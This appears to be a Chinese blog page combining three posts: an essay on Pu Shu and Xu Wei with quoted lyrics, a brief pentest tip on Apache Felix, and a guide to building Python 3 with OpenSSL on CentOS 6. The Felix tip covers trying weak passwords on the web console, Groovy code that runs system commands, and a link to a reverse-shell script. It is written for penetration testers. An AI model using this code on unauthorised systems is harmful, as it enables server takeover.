就让我 来次透彻心扉的痛
都拿走 让我再次两手空空
只有奄奄一息过,那个真正的我,他才能够诞生

朴树 No fear in my heart

朴树长大了,他看到了世俗,他无法躲避。

于是,他开始回忆,回忆那个天真的,初心的,清白之年。杨柳依依,衬衣如雪。

故事开始以前,最初的那些春天
阳光洒在杨树上,风吹来,闪银光
街道平静而温暖,钟走得好慢
那是我还不识人生之味的年代

我情窦还不开,你的衬衣如雪
盼着杨树叶落下,眼睛不眨
心里像有一些话,我们先不讲
等待着那将要盛装出场的未来

人随风飘荡,天各自一方
在风尘中遗忘的,清白脸庞
此生多勉强,此身越重洋
轻描时光漫长,低唱语焉不详

朴树 清白之年

唯有初心不忘,方能有始有终。每当怀念起过去,便仰望着星空,看到的是遥远的猎户星座。

你是否,得到了想要的人生?

你还记得吗 那时的夜晚 是如何降临的
什么都不说 像来自天空 轻如指尖的触痛
你是否得到了 期待的人生 梦里的海潮声
他们又如何从 指缝中滑过 像吹在旷野里的风
情长 飘黄 静悄悄的时光
清晨 日暮 何处是我的归宿

朴树 猎户星座

人生如逆旅,我亦是行人。走的路多了,心里的尘埃,也多了。入世太深,困于迷途,则失了道心。

从朴树的歌里,听到的是他心里的清弦,世外的琼音。从生到死,由始至终。

而他的低调,让只有少数人才能静下心来欣赏他的歌,真正地诠释了,什么是大音希声。

许巍的禅

在我的精神世界里,没有太多的人物和元素。

因为我没有太深或太宽泛的音乐素养,对音乐的历史一知半解,对现代的音乐,更是没有时间和精力去了解每一类作品与每一个人。

因此,无法从统计的角度去比较音乐作品的好坏。

我想现代人绝大多数都聪明,当看到一颗芝麻的时候,一定会想着可能还会有西瓜。很少有人会说,这就足够了。

但文艺作品很多不是这样的,没有必要阅尽沧桑再回头。好的作品,就像历史画卷里的珍珠,只需要寥寥数笔,就已经熠熠生辉。

就像李白的诗,时空中不会再有第二个李白。很羡慕活在李白同处一个时代的人,可以见证他的放浪形骸。

而庆幸的是,我们的时代,有许巍。

这就足够了。

相信很多人接触许巍,都是从那句著名的歌词,曾梦想仗剑走天涯。

曾梦想仗剑走天涯
看一看世界的繁华
年少的心总有些轻狂
如今你四海为家
曾让你心疼的姑娘
如今已悄然无踪影
爱情总让你渴望又感到烦恼
曾让你遍体鳞伤

许巍 曾经的你

那首《曾经的你》,不论何时何地,什么样的心境,听起来总有那么深刻的共鸣和感慨。
其实这就是许巍,从早年开始,他的歌曲里就有一种慈悲,用澎湃的鼓点和沧桑的独白,抚慰每一位流浪的路人。

也许是出发太久
我竟然迷失在旅途
我最亲爱的朋友
你让我再一次醒来

许巍 故事

每个人都这样成长,从年轻到老。每个人的经历,都可以写成故事,写成一本书。也常常有人在旅途中迷了路。
许巍在一张题为《爱如少年》的专辑里,说起故事,也说起少年。

时间已过去多少年
如今的你们在哪里
经历着什么样的故事
什么样的幸福伤痛
今天我依然能感到
那清风掠过的春天
掠过了城市掠过村庄
掠过我们年少的胸膛
我依然看到那些少年
站在九月新学期操场
仰望着天空清澈的眼神
向着无限的未来

许巍 少年

他的好歌太多,以致于想认真聊起一些的时候,甚至不知道该从何谈起。他同样是一个低调的人。

有时也觉得很怪,一个玩摇滚玩的很嗨的人,怎么就“佛系”了。但是想来却也很正常,一切都可以归为慧根。

从那首《我们》开始,许巍就已经提起忏悔了。

到了后来的《此时此刻》,那首《救赎之旅》,那些简单的来自阳光的音符,正一声一声地诉说着他自己。

一直以来 在心中的梦想
是用一生 改变这个世界
一直以来 这闪光的心愿
指引我穿行世界

许巍 救赎之旅

穿行之后,便是归途,旅人等在那里。

峰回路转,一念净心,证得万物大千,轮回如梦初醒。

一念净心 花开遍世界
每临绝境 峰回路又转
但凭净信 自在出乾坤
恰似如梦初醒 归途在眼前

许巍 空谷幽兰

走过了旅途,体会了平淡,感悟出人生本就是一刹那的时光,便更加珍惜眼前,喜欢那些纯粹和简单,喜欢平静的喜悦。

命运的使然
我这漂泊的游子
每次思念远方的你们
我会向故乡顶礼
心中升起的喜悦
总在归乡的旅程
当家门在开启时
这世界变得温暖

许巍 喜悦

宗教给人带来了什么?有的是统治,有的是战争,有的是简单和快乐。
许巍就点燃了他满心的慈悲与满腹的才华,为世人化作幽暗道路上的一道光芒,一朵向往自由,无法阻挡的蓝莲花。

没有什么能够阻挡
你对自由的向往
天马行空的生涯
你的心了无牵挂
穿过幽暗的岁月
也曾感到彷徨
当你低头的瞬间
才发觉脚下的路

许巍 蓝莲花


Apache Felix是一个OSGi版本4规范的Apache实现。OSGi是一个基于Java的服务平台规范,其目标是被需要长时间运行、动态更新、对运行环境破坏最小化的系统所使用。
渗透测试过程中也许会遇到Apache Felix,这时可以尝试访问Felix的/system/console/sc路径,并且试试看有没有弱密码。如果能够成功进入Apache Felix Web Console,就可以通过执行Groovy代码,间接执行系统命令,甚至获得系统权限。

例如Groovy用于执行系统命令的代码:

1
2
3
4
5
6
7
def execute(cmd){
def proc = cmd.execute();
proc.waitFor();
println proc.text;
}

execute("ipconfig");

获取一些系统信息:

1
2
println System.getProperty("user.dir"); //print local path
println InetAddress.getLocalHost(); //print local ip

Groovy反弹Shell的代码,可以参考:

https://chorder.net/2019/05/29/Groovy%E5%8F%8D%E5%BC%B9Shell%E8%84%9A%E6%9C%AC-Groovy-Reverse-Shell-Script/



CentOS6由于版本过老和源组织不当等原因,成功安装Python3和一些较新的依赖库是一件很幸运的事情。这里记录下遇到的报错和解决过程。
按照惯例,先记录一下报错内容,方便搜索引擎索引:

1
2
3
4
5
6
7
8
9
10
11
[root@localhost ~]# pip3 install --upgrade pip
pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/pip/
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping
Requirement already up-to-date: pip in /usr/local/lib/python3.7/site-packages (19.0.3)
pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping

解决方法:

1.编译安装OpenSSL 1.0.2j版本并配置环境变量

下载OpenSSL源码包:

wget http://www.openssl.org/source/openssl-1.0.2j.tar.gz

解压缩,编译安装:

1
2
3
4
tar -zxvf openssl-1.0.2j.tar.gz
cd openssl-1.0.2j
./config --prefix=/usr/local/openssl-1.0.2j shared zlib
make && make install

2.编译安装Python3,使用自定义的OpenSSL

下载Python3.7.3源码包:

wget https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz

解压缩,编译安装:

1
2
3
tar -zxvf Python-3.7.3.tgz
cd Python-3.7.3
./configure

在这一步之后,先不要着急运行make命令。先修改Modules/Setup文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Socket module helper for socket(2)
#_socket socketmodule.c

# Socket module helper for SSL support; you must comment out the other
# socket line above, and possibly edit the SSL variable:
SSL=/usr/local/openssl-1.0.2j/ #取消这一行的注释,并将原来的/usr/local/ssl改为/usr/local/openssl-1.0.2j/
_ssl _ssl.c \ #取消这一行的注释
true-DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \ #取消这一行的注释
true-L$(SSL)/lib -lssl -lcrypto #取消这一行的注释

# The crypt module is now disabled by default because it breaks builds
# on many systems (where -lcrypt is needed), e.g. Linux (I believe).

#_crypt _cryptmodule.c # -lcrypt # crypt(3); needs -lcrypt on some systems

修改完成以后,还需要创建两个指向动态链接库的软链接文件:

1
2
ln -s /usr/local/openssl-1.0.2j/lib/libssl.so.1.0.0 /usr/lib64/libssl.so.1.0.0
ln -s /usr/local/openssl-1.0.2j/lib/libcrypto.so.1.0.0 /usr/lib64/libcrypto.so.1.0.0

最后编译并安装:

1
make && make install

安装完成以后,再次运行pip3 install --upgrade pip,可以看到原先SSL连接报错的问题已经解决:

1
2
3
4
5
6
7
8
[root@localhost Python-3.7.3]# pip3 install --upgrade pip
Collecting pip
Using cached https://files.pythonhosted.org/packages/5c/e0/be401c003291b56efc55aeba6a80ab790d3d4cece2778288d65323009420/pip-19.1.1-py2.py3-none-any.whl
Installing collected packages: pip
Found existing installation: pip 19.0.3
Uninstalling pip-19.0.3:
Successfully uninstalled pip-19.0.3
Successfully installed pip-19.1.1


Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×